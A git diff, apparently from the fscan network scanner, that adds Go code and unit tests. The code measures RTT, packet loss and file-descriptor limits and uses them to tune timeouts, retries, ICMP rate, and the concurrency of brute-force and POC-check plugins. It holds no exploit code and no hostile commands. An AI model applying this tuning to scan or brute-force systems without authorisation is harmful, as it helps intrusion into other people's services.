- state.IncrementPacketCount() - if i%100 == 0 { // 只有5个失败(1%) - state.IncrementResourceExhaustedCount() - } + if !pool.inSlowStart { + t.Error("应该处于慢启动状态") } - for i := 0; i < 20; i++ { - _ = pool.Invoke(nil) - } - time.Sleep(time.Millisecond * 50) - - finalCap := pool.Cap() - - // 验证:即使耗尽率低,也不应该立即恢复(保守策略) - // 或者即使恢复,也很有限 - if finalCap > reducedCap+5 { - t.Logf("恢复行为: %d -> %d", reducedCap, finalCap) - } + t.Logf("慢启动初始: cap=%d, inSlowStart=%v", initialCap, pool.inSlowStart) } -// ============================================================================= -// 场景4:边界条件测试(中价值) -// ============================================================================= - -// TestAdaptivePool_MinSizeBoundary 验证不会降到minSize以下 +// TestAdaptivePool_MinSizeBoundary 验证不会降到 minSize 以下 func TestAdaptivePool_MinSizeBoundary(t *testing.T) { - state := common.NewState() - - // 创建小线程池,minSize会是10 - pool, err := NewAdaptivePool(40, func(interface{}) {}, state) - if err != nil { - t.Fatalf("创建线程池失败: %v", err) - } + pool, metrics := newTestPool(t, 40, func(interface{}) {}) defer pool.Release() - // 模拟极端的资源耗尽:100%失败 - for i := 0; i < 1000; i++ { - state.IncrementPacketCount() - state.IncrementResourceExhaustedCount() + pool.inSlowStart = false + pool.tune(40) + + // 极端耗尽 + for i := 0; i < 500; i++ { + metrics.RecordExhausted() } - // 触发多次调整 for i := 0; i < 50; i++ { _ = pool.Invoke(nil) - time.Sleep(time.Millisecond) + time.Sleep(time.Millisecond * 15) } finalCap := pool.Cap() - - // 验证:不应该低于10 if finalCap < 10 { t.Errorf("线程数 < 10: %d", finalCap) } @@ -162,76 +103,52 @@ func TestAdaptivePool_MinSizeBoundary(t *testing.T) { t.Logf("最小边界测试通过: cap=%d", finalCap) } -// ============================================================================= -// 场景5:样本不足测试(低价值但重要) -// ============================================================================= - // TestAdaptivePool_NotEnoughSamples 验证样本不足时不调整 -// 防止基于小样本做错误决策 func TestAdaptivePool_NotEnoughSamples(t *testing.T) { - state := common.NewState() - - pool, err := NewAdaptivePool(100, func(interface{}) {}, state) - if err != nil { - t.Fatalf("创建线程池失败: %v", err) - } + pool, metrics := newTestPool(t, 100, func(interface{}) {}) defer pool.Release() + pool.inSlowStart = false + pool.tune(100) initialCap := pool.Cap() - // 只增加少量样本(<100),不足以触发调整 - for i := 0; i < 50; i++ { - state.IncrementPacketCount() - state.IncrementResourceExhaustedCount() // 即使100%失败也不调整 + // 只 20 个样本,不足 30 的阈值 + for i := 0; i < 20; i++ { + metrics.RecordExhausted() } - // 提交任务 for i := 0; i < 10; i++ { _ = pool.Invoke(nil) } time.Sleep(time.Millisecond * 50) finalCap := pool.Cap() - - // 验证:样本不足时不应该调整 if finalCap != initialCap { t.Errorf("样本不足时不应该调整: %d -> %d", initialCap, finalCap) } } -// ============================================================================= -// 辅助函数 -// ============================================================================= - -// TestAdaptivePool_Wait 验证Wait方法正确等待所有任务完成 +// TestAdaptivePool_Wait 验证 Wait 方法 func TestAdaptivePool_Wait(t *testing.T) { - state := common.NewState() - - pool, err := NewAdaptivePool(10, func(interface{}) { + pool, _ := newTestPool(t, 10, func(interface{}) { time.Sleep(time.Millisecond * 50) - }, state) - if err != nil { - t.Fatalf("创建线程池失败: %v", err) - } + }) defer pool.Release() - // 提交任务 + pool.inSlowStart = false + pool.tune(10) + for i := 0; i < 20; i++ { _ = pool.Invoke(nil) } - // Wait应该在所有任务完成后返回 start := time.Now() pool.Wait() duration := time.Since(start) - // 20个任务,每个50ms,10个线程,应该约100ms完成 - if duration < 80*time.Millisecond { - t.Logf("Wait提前返回?可能测试有问题: %v", duration) - } - if duration > 200*time.Millisecond { - t.Errorf("Wait耗时过长: %v", duration) + if duration > 300*time.Millisecond { + t.Errorf("Wait 耗时过长: %v", duration) } - t.Logf("Wait测试通过: %v", duration) + t.Logf("Wait 测试通过: %v", duration) } diff --git a/core/edge_cases_test.go b/core/edge_cases_test.go new file mode 100644 index 0000000..854235c --- /dev/null +++ b/core/edge_cases_test.go @@ -0,0 +1,639 @@ +package core + +import ( + "math" + "sync" + "testing" + "time" +) + +// ============================================================================= +// computeRetries 边界 +// ============================================================================= + +func TestComputeRetries_EdgeCases(t *testing.T) { + tests := []struct { + lossRate float64 + wantMin int + wantMax int + desc string + }{ + {-0.5, 1, 1, "负数丢包率: 视为零"}, + {-1.0, 1, 1, "负一: 视为零"}, + {0.0, 1, 1, "精确零"}, + {0.001, 1, 1, "精确边界 0.001"}, + {0.0009, 1, 1, "低于 0.001 边界"}, + {0.0011, 1, 6, "高于 0.001 边界"}, + {0.95, 6, 6, "精确边界 0.95"}, + {0.949, 1, 6, "低于 0.95 边界"}, + {0.951, 6, 6, "高于 0.95 边界"}, + {1.0, 6, 6, "精确 1.0"}, + {1.5, 6, 6, "超过 1.0"}, + {100.0, 6, 6, "极大值"}, + {math.SmallestNonzeroFloat64, 1, 1, "最小正浮点数"}, + } + + for _, tt := range tests { + t.Run(tt.desc, func(t *testing.T) { + got := computeRetries(tt.lossRate) + if got < tt.wantMin || got > tt.wantMax { + t.Errorf("computeRetries(%v) = %d, want [%d, %d]", + tt.lossRate, got, tt.wantMin, tt.wantMax) + } + if got < 1 || got > 6 { + t.Errorf("computeRetries(%v) = %d, 超出 [1,6] 范围", tt.lossRate, got) + } + }) + } +} + +func TestComputeRetries_NaN_Inf(t *testing.T) { + // 确保不 panic + for _, v := range []float64{math.NaN(), math.Inf(1), math.Inf(-1)} { + got := computeRetries(v) + if got < 1 || got > 6 { + t.Errorf("computeRetries(%v) = %d, 超出 [1,6] 范围", v, got) + } + } +} + +// ============================================================================= +// computeICMPRate 边界 +// ============================================================================= + +func TestComputeICMPRate_EdgeCases(t *testing.T) { + tests := []struct { + env NetworkEnv + fdLimit int + desc string + }{ + {EnvLAN, 1, "fd=1: 极小"}, + {EnvLAN, -1, "fd=负数: 应被忽略"}, + {EnvLAN, 0, "fd=0: 未知"}, + {EnvLAN, math.MaxInt32, "fd=极大"}, + {NetworkEnv(99), 1024, "未知环境类型"}, + } + + for _, tt := range tests { + t.Run(tt.desc, func(t *testing.T) { + net := &NetworkProfile{Env: tt.env} + sys := &SystemProfile{FDLimit: tt.fdLimit} + got := computeICMPRate(net, sys) + if got <= 0 || math.IsNaN(got) || math.IsInf(got, 0) { + t.Errorf("computeICMPRate(env=%v, fd=%d) = %v, 无效值", tt.env, tt.fdLimit, got) + } + }) + } +} + +// ============================================================================= +// classifyEnv 精确边界值 +// ============================================================================= + +func TestClassifyEnv_ExactBoundaries(t *testing.T) { + tests := []struct { + median time.Duration + lossRate float64 + want NetworkEnv + desc string + }{ + // RTT 边界 + {4999 * time.Microsecond, 0.0, EnvLAN, "4.999ms → LAN"}, + {5 * time.Millisecond, 0.0, EnvWAN, "精确 5ms → WAN"}, + {49999 * time.Microsecond, 0.0, EnvWAN, "49.999ms → WAN"}, + {50 * time.Millisecond, 0.0, EnvInternet, "精确 50ms → Internet"}, + {199999 * time.Microsecond, 0.0, EnvInternet, "199.999ms → Internet"}, + {200 * time.Millisecond, 0.0, EnvSlow, "精确 200ms → Slow"}, + + // 丢包率边界 + {1 * time.Millisecond, 0.009, EnvLAN, "丢包 0.9% → LAN"}, + {1 * time.Millisecond, 0.01, EnvWAN, "精确 1% → WAN (不满足 < 0.01)"}, + {1 * time.Millisecond, 0.011, EnvWAN, "丢包 1.1% → WAN (超过 LAN 阈值)"}, + {20 * time.Millisecond, 0.049, EnvWAN, "丢包 4.9% → WAN"}, + {20 * time.Millisecond, 0.05, EnvInternet, "精确 5% → Internet (不满足 < 0.05)"}, + {20 * time.Millisecond, 0.051, EnvInternet, "丢包 5.1% → Internet"}, + {1 * time.Millisecond, 0.099, EnvInternet, "丢包 9.9% → Internet"}, + {1 * time.Millisecond, 0.10, EnvInternet, "精确 10% → Internet (< 判断)"}, + {1 * time.Millisecond, 0.101, EnvSlow, "丢包 10.1% → Slow"}, + + // 零值 + {0, 0.0, EnvLAN, "零 RTT 零丢包 → LAN"}, + } + + for _, tt := range tests { + t.Run(tt.desc, func(t *testing.T) { + got := classifyEnv(tt.median, tt.lossRate) + if got != tt.want { + t.Errorf("classifyEnv(median=%v, loss=%.4f) = %v, want %v", + tt.median, tt.lossRate, got, tt.want) + } + }) + } +} + +// ============================================================================= +// classifyNetwork 边界 +// ============================================================================= + +func TestClassifyNetwork_EdgeCases(t *testing.T) { + t.Run("单个 RTT 样本", func(t *testing.T) { + p := classifyNetwork([]time.Duration{5 * time.Millisecond}, 0, 1) + if p.Samples != 1 { + t.Errorf("samples = %d, want 1", p.Samples) + } + // stddev 应该是 0 + if p.RTTStddev != 0 { + t.Errorf("单样本 stddev = %v, want 0", p.RTTStddev) + } + }) + + t.Run("所有 RTT 相同", func(t *testing.T) { + rtts := make([]time.Duration, 50) + for i := range rtts { + rtts[i] = 10 * time.Millisecond + } + p := classifyNetwork(rtts, 0, 50) + if p.RTTStddev != 0 { + t.Errorf("全相同 RTT stddev = %v, want 0", p.RTTStddev) + } + if p.RTTMedian != 10*time.Millisecond { + t.Errorf("median = %v, want 10ms", p.RTTMedian) + } + }) + + t.Run("极大 RTT 值", func(t *testing.T) { + rtts := []time.Duration{time.Hour, time.Hour, time.Hour} + p := classifyNetwork(rtts, 0, 3) + if p.Env != EnvSlow { + t.Errorf("env = %v, want Slow", p.Env) + } + }) + + t.Run("混合极端值", func(t *testing.T) { + rtts := []time.Duration{time.Microsecond, time.Hour} + p := classifyNetwork(rtts, 0, 2) + // 不 panic 就行 + if p.Samples != 2 { + t.Errorf("samples = %d, want 2", p.Samples) + } + }) + + t.Run("全部失败无响应", func(t *testing.T) { + p := classifyNetwork(nil, 100, 100) + if p.Env != EnvWAN { + t.Errorf("env = %v, want WAN (default)", p.Env) + } + }) + + t.Run("failures > total (异常输入)", func(t *testing.T) { + rtts := []time.Duration{time.Millisecond} + p := classifyNetwork(rtts, 10, 5) // failures > total + // lossRate = 1 - 1/5 = 0.8, 不应 panic + if p.LossRate < 0 { + t.Errorf("lossRate = %.2f, 不应为负", p.LossRate) + } + }) + + t.Run("total=0", func(t *testing.T) { + p := classifyNetwork(nil, 0, 0) + // 不 panic + if p.Samples != 0 { + t.Errorf("samples = %d, want 0", p.Samples) + } + }) +} + +// ============================================================================= +// RecommendConcurrency 边界 +// ============================================================================= + +func TestRecommendConcurrency_EdgeCases(t *testing.T) { + tests := []struct { + env NetworkEnv + loss float64 + userT int + explicit bool + desc string + }{ + {EnvLAN, 0.0, 0, false, "userThreadNum=0"}, + {EnvLAN, 0.0, 1, false, "userThreadNum=1"}, + {EnvLAN, 0.0, -1, false, "userThreadNum 负数"}, + {EnvLAN, 0.0, math.MaxInt32, false, "userThreadNum 极大"}, + {EnvLAN, 0.99, 600, false, "99% 丢包"}, + {EnvLAN, 1.0, 600, false, "100% 丢包"}, + {EnvSlow, 0.0, 1, true, "慢速+显式+1"}, + } + + for _, tt := range tests { + t.Run(tt.desc, func(t *testing.T) { + p := &NetworkProfile{Env: tt.env, LossRate: tt.loss, Samples: 10} + target, ceiling := p.RecommendConcurrency(tt.userT, tt.explicit) + // 不 panic,且 target >= 1(clamp 保底 10 或 userT) + if target < 0 || ceiling < 0 { + t.Errorf("target=%d ceiling=%d, 不应为负", target, ceiling) + } + if tt.explicit && ceiling != tt.userT && tt.userT > 0 { + t.Errorf("显式模式 ceiling=%d, want %d", ceiling, tt.userT) + } + t.Logf("env=%v loss=%.2f userT=%d explicit=%v → target=%d ceiling=%d", + tt.env, tt.loss, tt.userT, tt.explicit, target, ceiling) + }) + } +} + +// ============================================================================= +// ScanMetrics 边界 +// ============================================================================= + +func TestScanMetrics_EdgeCases(t *testing.T) { + t.Run("RTT=0", func(t *testing.T) { + m := &ScanMetrics{} + m.RecordConnect(0) + // 不 panic + if m.Total() != 1 { + t.Errorf("Total = %d, want 1", m.Total()) + } + }) + + t.Run("负数 RTT", func(t *testing.T) { + m := &ScanMetrics{} + m.RecordConnect(-time.Millisecond) + // 不 panic,负数 RTT 应被忽略 + if m.rttSamples.Load() != 0 { + t.Errorf("负数 RTT 不应计入采样: got %d", m.rttSamples.Load()) + } + }) + + t.Run("极大 RTT", func(t *testing.T) { + m := &ScanMetrics{} + m.RecordConnect(time.Hour) + if m.RTTFast() != time.Hour { + t.Errorf("首个样本 RTTFast = %v, want 1h", m.RTTFast()) + } + }) + + t.Run("EMA 首个样本初始化", func(t *testing.T) { + m := &ScanMetrics{} + m.RecordConnect(10 * time.Millisecond) + if m.rttFastNs.Load() != int64(10*time.Millisecond) { + t.Errorf("首个样本应直接设置 EMA: got %d", m.rttFastNs.Load()) + } + }) + + t.Run("空 Snapshot", func(t *testing.T) { + m := &ScanMetrics{} + snap := m.Snapshot() + if snap.Total() != 0 { + t.Errorf("空 metrics Snapshot.Total = %d, want 0", snap.Total()) + } + }) + + t.Run("RTTRatio 单侧为零", func(t *testing.T) { + m := &ScanMetrics{} + // 手动设置一个但不设另一个——不应该发生,但防御 + m.rttFastNs.Store(1000) + m.rttSlowNs.Store(0) + m.rttSamples.Store(30) + ratio := m.RTTRatio() + if ratio != 1.0 { + t.Errorf("slow=0 时 ratio = %.2f, want 1.0", ratio) + } + }) + + t.Run("大量操作不溢出", func(t *testing.T) { + m := &ScanMetrics{} + for i := 0; i < 100000; i++ { + m.RecordConnect(time.Millisecond) + } + if m.Total() != 100000 { + t.Errorf("Total = %d, want 100000", m.Total()) + } + ratio := m.RTTRatio() + if math.IsNaN(ratio) || math.IsInf(ratio, 0) { + t.Errorf("大量样本后 ratio = %v, 不应为 NaN/Inf", ratio) + } + }) +} + +// ============================================================================= +// TuneConfig 边界 +// ============================================================================= + +func TestTuneConfig_EdgeCases(t *testing.T) { + t.Run("RTTMedian=0 RTTStddev=0", func(t *testing.T) { + config := makeDefaultConfig() + session := makeTestSession(config) + ep := &EnvironmentProfile{ + Net: NetworkProfile{Env: EnvLAN, RTTMedian: 0, RTTStddev: 0, Samples: 10}, + System: SystemProfile{FDLimit: 65536}, + } + ep.TuneConfig(config, session) + // Timeout: median(0) + 4*stddev(0) = 0 → minTO = 0+200ms → clamp to 1s + if config.Timeout < time.Second { + t.Errorf("零 RTT Timeout = %v, 应该 >= 1s", config.Timeout) + } + }) + + t.Run("RTTStddev 远大于 RTTMedian", func(t *testing.T) { + config := makeDefaultConfig() + session := makeTestSession(config) + ep := &EnvironmentProfile{ + Net: NetworkProfile{Env: EnvInternet, RTTMedian: 10 * time.Millisecond, RTTStddev: 5 * time.Second, Samples: 10}, + System: SystemProfile{FDLimit: 65536}, + } + ep.TuneConfig(config, session) + // Timeout = 10ms + 4*5s = 20.01s → clamp to 10s + if config.Timeout != 10*time.Second { + t.Errorf("极大 stddev Timeout = %v, 应该被 clamp 到 10s", config.Timeout) + } + }) + + t.Run("ThreadNum=0", func(t *testing.T) { + config := makeDefaultConfig() + config.ThreadNum = 0 + session := makeTestSession(config) + ep := &EnvironmentProfile{ + Net: NetworkProfile{Env: EnvLAN, RTTMedian: time.Millisecond, RTTStddev: time.Millisecond, Samples: 10}, + System: SystemProfile{FDLimit: 65536}, + } + ep.TuneConfig(config, session) + // ModuleThreadNum = 0/30 = 0 → clamp to 5 + if config.ModuleThreadNum < 5 { + t.Errorf("ThreadNum=0 时 ModuleThreadNum = %d, 应该 >= 5", config.ModuleThreadNum) + } + }) + + t.Run("多次调用 TuneConfig", func(t *testing.T) { + config := makeDefaultConfig() + session := makeTestSession(config) + ep := &EnvironmentProfile{ + Net: NetworkProfile{Env: EnvLAN, RTTMedian: time.Millisecond, RTTStddev: time.Millisecond, LossRate: 0.0, Samples: 10}, + System: SystemProfile{FDLimit: 65536}, + } + + ep.TuneConfig(config, session) + first := config.Timeout + + // 第二次调用——已经调整过的值不等于默认值,应被视为"显式" + ep.TuneConfig(config, session) + second := config.Timeout + + if first != second { + t.Errorf("多次调用 TuneConfig 不应重复调整: %v vs %v", first, second) + } + }) + + t.Run("fd limit = ThreadNum 精确值", func(t *testing.T) { + config := makeDefaultConfig() + config.ThreadNum = 600 + session := makeTestSession(config) + ep := &EnvironmentProfile{ + Net: NetworkProfile{Samples: 0}, + System: SystemProfile{FDLimit: 1000}, // 1000 * 0.6 = 600 + } + ep.TuneConfig(config, session) + // ThreadNum(600) == maxConcurrency(600), 不应触发约束 + if config.ThreadNum != 600 { + t.Errorf("fd=1000 时 ThreadNum = %d, 不应被约束", config.ThreadNum) + } + }) + + t.Run("fd limit 精确低于 ThreadNum", func(t *testing.T) { + config := makeDefaultConfig() + config.ThreadNum = 600 + session := makeTestSession(config) + ep := &EnvironmentProfile{ + Net: NetworkProfile{Samples: 0}, + System: SystemProfile{FDLimit: 999}, // 999 * 0.6 = 599 + } + ep.TuneConfig(config, session) + if config.ThreadNum > 599 { + t.Errorf("fd=999 时 ThreadNum = %d, 应该 <= 599", config.ThreadNum) + } + }) +} + +// ============================================================================= +// AdaptivePool 边界 +// ============================================================================= + +func TestAdaptivePool_EdgeCases(t *testing.T) { + t.Run("target=1", func(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(1, 1, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建失败: %v", err) + } + defer pool.Release() + // initial = max(1/4, 10) = 10 → 但 10 > target(1)... 看实现 + // 实际上 initial = min(max(1/4, 10), 1) = 1... 不对 + // initial = target/4 = 0, 但 < 10, 所以 initial = 10 + // 但 initial > target(1)... initial = min(10, 1) = 1 + // 看代码:if initial > target { initial = target } + if pool.Cap() != 1 { + t.Errorf("target=1 时 cap = %d, want 1", pool.Cap()) + } + }) + + t.Run("target=0", func(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(0, 0, func(interface{}) {}, metrics) + // ants 可能拒绝 size=0 + if err != nil { + t.Logf("target=0 正确返回错误: %v", err) + return + } + defer pool.Release() + t.Logf("target=0 cap = %d", pool.Cap()) + }) + + t.Run("ceiling < target", func(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(100, 50, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建失败: %v", err) + } + defer pool.Release() + // initial = 100/4 = 25, 不超过 ceiling + if pool.Cap() > 50 { + t.Errorf("ceiling=50 但 cap = %d", pool.Cap()) + } + }) + + t.Run("高频 Invoke 不 panic", func(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(10, 10, func(interface{}) { + time.Sleep(time.Millisecond) + }, metrics) + if err != nil { + t.Fatalf("创建失败: %v", err) + } + defer pool.Release() + pool.inSlowStart = false + pool.tune(10) + + var wg sync.WaitGroup + for i := 0; i < 100; i++ { + wg.Add(1) + go func() { + defer wg.Done() + _ = pool.Invoke(nil) + }() + } + wg.Wait() + pool.Wait() + }) + + t.Run("assessHealth 零增量", func(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(100, 100, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建失败: %v", err) + } + defer pool.Release() + + // 初始化 prevSnapshot 后不产生新数据 + pool.prevSnapshot = metrics.Snapshot() + health := pool.assessHealth() + if health != HealthUnknown { + t.Errorf("零增量应返回 HealthUnknown, got %v", health) + } + }) +} + +// ============================================================================= +// pickSamples 边界 +// ============================================================================= + +func TestPickSamples_EdgeCases(t *testing.T) { + t.Run("maxSamples=0", func(t *testing.T) { + s := pickSamples([]string{"a", "b"}, 0) + if len(s) != 0 { + t.Errorf("maxSamples=0 应返回空, got %d", len(s)) + } + }) + + t.Run("maxSamples=1", func(t *testing.T) { + s := pickSamples([]string{"a", "b", "c"}, 1) + if len(s) != 1 { + t.Errorf("maxSamples=1 应返回 1 个, got %d", len(s)) + } + }) + + t.Run("hosts 等于 maxSamples", func(t *testing.T) { + hosts := []string{"a", "b", "c"} + s := pickSamples(hosts, 3) + if len(s) != 3 { + t.Errorf("应返回全部, got %d", len(s)) + } + }) +} + +// ============================================================================= +// isTimeoutError / isConnectionRefused 边界 +// ============================================================================= + +func TestIsTimeoutError_EdgeCases(t *testing.T) { + if isTimeoutError(nil) { + t.Error("nil 不应判为 timeout") + } +} + +func TestIsConnectionRefused_EdgeCases(t *testing.T) { + if isConnectionRefused(nil) { + t.Error("nil 不应判为 refused") + } +} + +// ============================================================================= +// NetworkEnv.String 覆盖 +// ============================================================================= + +func TestNetworkEnv_String(t *testing.T) { + for _, env := range []NetworkEnv{EnvLAN, EnvWAN, EnvInternet, EnvSlow} { + s := env.String() + if s == "" { + t.Errorf("NetworkEnv(%d).String() = 空", env) + } + } + // 未知值 + s := NetworkEnv(99).String() + if s == "" { + t.Error("未知 NetworkEnv.String() = 空") + } +} + +// ============================================================================= +// clampInt / clampDuration 边界 +// ============================================================================= + +func TestClampInt(t *testing.T) { + tests := []struct { + v, min, max, want int + }{ + {5, 1, 10, 5}, + {0, 1, 10, 1}, + {15, 1, 10, 10}, + {-5, -10, -1, -5}, + {5, 5, 5, 5}, // min == max == v + {3, 5, 5, 5}, // v < min == max + {10, 5, 5, 5}, // v > min == max + } + + for _, tt := range tests { + got := clampInt(tt.v, tt.min, tt.max) + if got != tt.want { + t.Errorf("clampInt(%d, %d, %d) = %d, want %d", tt.v, tt.min, tt.max, got, tt.want) + } + } +} + +func TestClampDuration(t *testing.T) { + got := clampDuration(5*time.Second, time.Second, 10*time.Second) + if got != 5*time.Second { + t.Errorf("got %v, want 5s", got) + } + got = clampDuration(0, time.Second, 10*time.Second) + if got != time.Second { + t.Errorf("got %v, want 1s", got) + } + got = clampDuration(time.Hour, time.Second, 10*time.Second) + if got != 10*time.Second { + t.Errorf("got %v, want 10s", got) + } +} + +// ============================================================================= +// isExplicit 边界 +// ============================================================================= + +func TestIsExplicit(t *testing.T) { + config := makeDefaultConfig() + // 默认值 → 非显式 + if isExplicit(config, "time") { + t.Error("默认 Timeout 不应视为显式") + } + if isExplicit(config, "mt") { + t.Error("默认 ModuleThreadNum 不应视为显式") + } + if isExplicit(config, "retry") { + t.Error("默认 MaxRetries 不应视为显式") + } + if isExplicit(config, "icmp-rate") { + t.Error("默认 ICMPRate 不应视为显式") + } + if isExplicit(config, "num") { + t.Error("默认 PocNum 不应视为显式") + } + + // 未知 flag + if isExplicit(config, "nonexistent") { + t.Error("未知 flag 不应视为显式") + } + + // ThreadNumExplicit + config.ThreadNumExplicit = true + if !isExplicit(config, "t") { + t.Error("ThreadNumExplicit=true 应视为显式") + } +} diff --git a/core/env_profiler.go b/core/env_profiler.go new file mode 100644 index 0000000..dde2267 --- /dev/null +++ b/core/env_profiler.go @@ -0,0 +1,221 @@ +package core + +import ( + "fmt" + "math" + "runtime" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" +) + +// EnvironmentProfile 综合环境探测结果 +type EnvironmentProfile struct { + Net NetworkProfile + System SystemProfile +} + +// SystemProfile 系统能力信息 +type SystemProfile struct { + FDLimit int // 文件描述符上限(0 表示未知) + NumCPU int +} + +// ProbeSystem 探测系统能力(不需要网络目标) +func ProbeSystem() SystemProfile { + p := SystemProfile{ + NumCPU: runtime.NumCPU(), + } + p.FDLimit = getFDLimit() + return p +} + +// TuneConfig 根据探测结果调整 Config 中的参数 +// 只调整用户未显式指定的参数 +// 每个参数的推导都有明确的公式和探测依据 +func (ep *EnvironmentProfile) TuneConfig(config *common.Config, session *common.ScanSession) { + net := &ep.Net + sys := &ep.System + + // ---------- ThreadNum ---------- + // 已在 AdaptivePool 层处理(ProbeNetwork + AIMD),这里不重复 + + // ---------- Timeout ---------- + // 公式: median_rtt + 4 * stddev,下限 1s,上限 10s + // 依据: 与 AdaptiveTimeout 相同的统计原理(覆盖 99.9% 的正常连接) + if !isExplicit(config, "time") && net.Samples > 0 { + computed := net.RTTMedian + 4*net.RTTStddev + // 下限:连接建立至少需要 2 个 RTT(SYN + SYN-ACK)+ 处理时间 + minTO := net.RTTMedian*3 + 200*time.Millisecond + if computed < minTO { + computed = minTO + } + computed = clampDuration(computed, time.Second, 10*time.Second) + + old := config.Timeout + config.Timeout = computed + session.LogDebug(fmt.Sprintf("Timeout: %v -> %v (RTT median=%v stddev=%v)", + old, computed, net.RTTMedian, net.RTTStddev)) + } + + // ---------- ModuleThreadNum ---------- + // 公式: ThreadNum / 30,下限 5,上限 50 + // 依据: 插件级并发(爆破等)不应超过端口扫描并发的 ~3% + // 单个服务的连接能力远低于 TCP SYN 扫描 + // 公网服务通常有限流(MaxStartups 等),并发过高适得其反 + if !isExplicit(config, "mt") { + target, _ := net.RecommendConcurrency(config.ThreadNum, config.ThreadNumExplicit) + computed := target / 30 + computed = clampInt(computed, 5, 50) + + // 高丢包环境进一步压低,避免大量连接被丢弃浪费 + if net.LossRate > 0.1 { + computed = computed * 2 / 3 + if computed < 5 { + computed = 5 + } + } + + old := config.ModuleThreadNum + config.ModuleThreadNum = computed + session.LogDebug(fmt.Sprintf("ModuleThreadNum: %d -> %d (target_concurrency=%d)", old, computed, target)) + } + + // ---------- MaxRetries ---------- + // 公式: ceil(log(0.01) / log(loss_rate)) + // 含义: 重试 N 次后仍然全部丢包的概率 < 1% + // 例: 丢包率 5% → N=2, 丢包率 20% → N=3, 丢包率 50% → N=7 + // 下限 1(零丢包也至少试一次),上限 6(避免对不可达目标死磕) + if !isExplicit(config, "retry") && net.Samples > 0 { + computed := computeRetries(net.LossRate) + old := config.MaxRetries + config.MaxRetries = computed + session.LogDebug(fmt.Sprintf("MaxRetries: %d -> %d (loss_rate=%.2f%%)", old, computed, net.LossRate*100)) + } + + // ---------- ICMPRate ---------- + // 公式: 基于 fd limit 和网络环境 + // 内网 fd 充裕: 0.5(高速发包) + // 公网或 fd 紧张: 0.1(默认保守) + // 依据: ICMP 发包速率受两个约束:网络带宽和本机 fd/socket 资源 + if !isExplicit(config, "icmp-rate") && net.Samples > 0 { + computed := computeICMPRate(net, sys) + old := config.Network.ICMPRate + config.Network.ICMPRate = computed + session.LogDebug(fmt.Sprintf("ICMPRate: %.2f -> %.2f (env=%s fd=%d)", old, computed, net.Env, sys.FDLimit)) + } + + // ---------- PocNum ---------- + // 公式: 与 ModuleThreadNum 一致 + // 依据: POC 检测和凭据爆破的并发约束相同——都是对目标服务发起连接 + if !isExplicit(config, "num") { + old := config.POC.Num + config.POC.Num = config.ModuleThreadNum + session.LogDebug(fmt.Sprintf("PocNum: %d -> %d (follows ModuleThreadNum)", old, config.POC.Num)) + } + + // ---------- DisablePing ---------- + // 由 probeWithICMP 自动处理(尝试 → 失败 → 降级),无需在此干预 + + // 总结日志 + if net.Samples > 0 { + session.LogInfo(i18n.Tr("env_tune_summary", + config.Timeout.Milliseconds(), + config.ModuleThreadNum, + config.MaxRetries, + fmt.Sprintf("%.2f", config.Network.ICMPRate), + config.POC.Num)) + } + + // fd limit 约束:总并发不应超过 fd limit 的 60%(留余量给系统) + if sys.FDLimit > 0 { + maxConcurrency := sys.FDLimit * 6 / 10 + if config.ThreadNum > maxConcurrency { + session.LogInfo(i18n.Tr("env_fd_limit", config.ThreadNum, maxConcurrency, sys.FDLimit)) + config.ThreadNum = maxConcurrency + } + } +} + +// computeRetries 基于丢包率计算重试次数 +// 目标:重试 N 次后仍全部失败的概率 < 1% +func computeRetries(lossRate float64) int { + if lossRate <= 0.001 { + return 1 // 几乎无丢包 + } + if lossRate >= 0.95 { + return 6 // 上限 + } + // P(N次全失败) = lossRate^N < 0.01 + // N > log(0.01) / log(lossRate) + n := math.Ceil(math.Log(0.01) / math.Log(lossRate)) + return clampInt(int(n), 1, 6) +} + +// computeICMPRate 基于环境计算 ICMP 发包速率 +func computeICMPRate(net *NetworkProfile, sys *SystemProfile) float64 { + // 基准:根据 RTT 估算网络可承受的速率 + // RTT 越低,网络越快,可以发更快 + var base float64 + switch net.Env { + case EnvLAN: + base = 0.5 + case EnvWAN: + base = 0.3 + case EnvInternet: + base = 0.1 + default: + base = 0.05 + } + + // fd 约束:fd limit 低时压低速率 + if sys.FDLimit > 0 && sys.FDLimit < 1024 { + base = base * float64(sys.FDLimit) / 1024.0 + if base < 0.02 { + base = 0.02 + } + } + + return base +} + +// isExplicit 检查参数是否被用户显式指定 +// 目前只有 ThreadNum 有 explicit 标记,其他参数通过检查是否为默认值来判断 +func isExplicit(config *common.Config, flagName string) bool { + switch flagName { + case "t": + return config.ThreadNumExplicit + case "time": + return config.Timeout != 3*time.Second // 默认值 + case "mt": + return config.ModuleThreadNum != 20 // 默认值 + case "retry": + return config.MaxRetries != 3 // 默认值 + case "icmp-rate": + return config.Network.ICMPRate != 0.1 // 默认值 + case "num": + return config.POC.Num != 20 // 默认值 + } + return false +} + +func clampInt(v, min, max int) int { + if v < min { + return min + } + if v > max { + return max + } + return v +} + +func clampDuration(v, min, max time.Duration) time.Duration { + if v < min { + return min + } + if v > max { + return max + } + return v +} diff --git a/core/env_profiler_test.go b/core/env_profiler_test.go new file mode 100644 index 0000000..eebde01 --- /dev/null +++ b/core/env_profiler_test.go @@ -0,0 +1,334 @@ +package core + +import ( + "math" + "testing" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// ============================================================================= +// 单元测试:computeRetries — 丢包率到重试次数的推导 +// ============================================================================= + +func TestComputeRetries(t *testing.T) { + tests := []struct { + lossRate float64 + wantMin int + wantMax int + desc string + }{ + {0.0, 1, 1, "零丢包: 只需 1 次"}, + {0.001, 1, 1, "极低丢包: 1 次"}, + {0.05, 2, 2, "5% 丢包: 0.05^2=0.0025 < 0.01"}, + {0.10, 2, 3, "10% 丢包: ceil(log(0.01)/log(0.1))=2, 但边界取 ceil 可能是 3"}, + {0.20, 3, 3, "20% 丢包: 0.2^3=0.008 < 0.01"}, + {0.30, 3, 4, "30% 丢包"}, + {0.50, 6, 6, "50% 丢包: 